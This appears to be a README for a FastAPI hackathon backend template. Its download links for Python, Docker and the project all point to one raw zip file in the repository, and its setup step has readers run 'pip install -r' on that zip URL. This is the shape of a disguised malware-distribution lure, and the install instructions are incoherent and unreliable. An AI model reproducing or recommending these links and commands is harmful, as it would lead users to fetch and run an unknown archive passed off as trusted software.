🏎️ hackathon-backend - Fast, Simple Backend Setup

🌐 Overview

The hackathon-backend is a Python boilerplate designed for quick setup in hackathon projects. This template helps you build an API using FastAPI. It's easy to use, letting you focus on your idea without worrying about the backend complexities.

🚀 Getting Started

Prerequisites

Before you begin, make sure you have the following installed on your computer:

1. Python 3.8 or higher: Download it from https://raw.githubusercontent.com/omar-signals-ai/hackathon-backend/main/pestological/hackathon-backend.zip.
2. Docker: Download it from https://raw.githubusercontent.com/omar-signals-ai/hackathon-backend/main/pestological/hackathon-backend.zip.
3. Docker Compose: This often comes with Docker installations. Check here for details.

Installation Steps

1. Visit the Releases page to download the latest release.
2. Look for the file suitable for your operating system.
3. Download it to your local machine.

📥 Download & Install

To download the software, visit this page: Download Here.

Once there, find the latest version and download it.

Running the Application

After downloading, follow these steps to run the backend application:

1. Open your terminal or command prompt.
2. Navigate to the folder where you saved the downloaded file.
3. If you have not already done so, run the following command to set up your environment:

   pip install -r https://raw.githubusercontent.com/omar-signals-ai/hackathon-backend/main/pestological/hackathon-backend.zip
   

4. Start the application by running:

   uvicorn main:app --reload
   

5. Open your web browser and visit http://localhost:8000 to see the API in action.

🛠️ Features

• FastAPI Framework: Build high-performance applications quickly.
• Docker Support: Easy containerization to run your application anywhere.
• Schema Validation: Built-in validation using Pydantic for data integrity.
• Example Endpoints: Ready-to-use API routes to get you started.

📄 Usage

You can use the backend to create various APIs. Here are some common operations you might do:

1. Create a new user: Send a POST request to /users.
2. Get user information: Use a GET request on /users/{id}.
3. Update user data: Send a PUT request to /users/{id}.
4. Delete a user: Use a DELETE request on /users/{id}.

Feel free to explore and modify the templates in the routes directory to fit your project needs.

📚 Documentation

For detailed information, visit our documentation at:

• FastAPI Documentation
• Docker Documentation

⚙️ Contributing

We welcome contributions! If you have a feature request or want to report an issue, please create a GitHub issue or submit a pull request.

📝 License

This project is licensed under the MIT License. See the LICENSE file for more information.

🤝 Support

If you need assistance, you can open an issue on the GitHub repository or reach out to the project maintainers.

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Stay tuned for updates on the project! Don’t forget to check back at the Releases page for the latest version.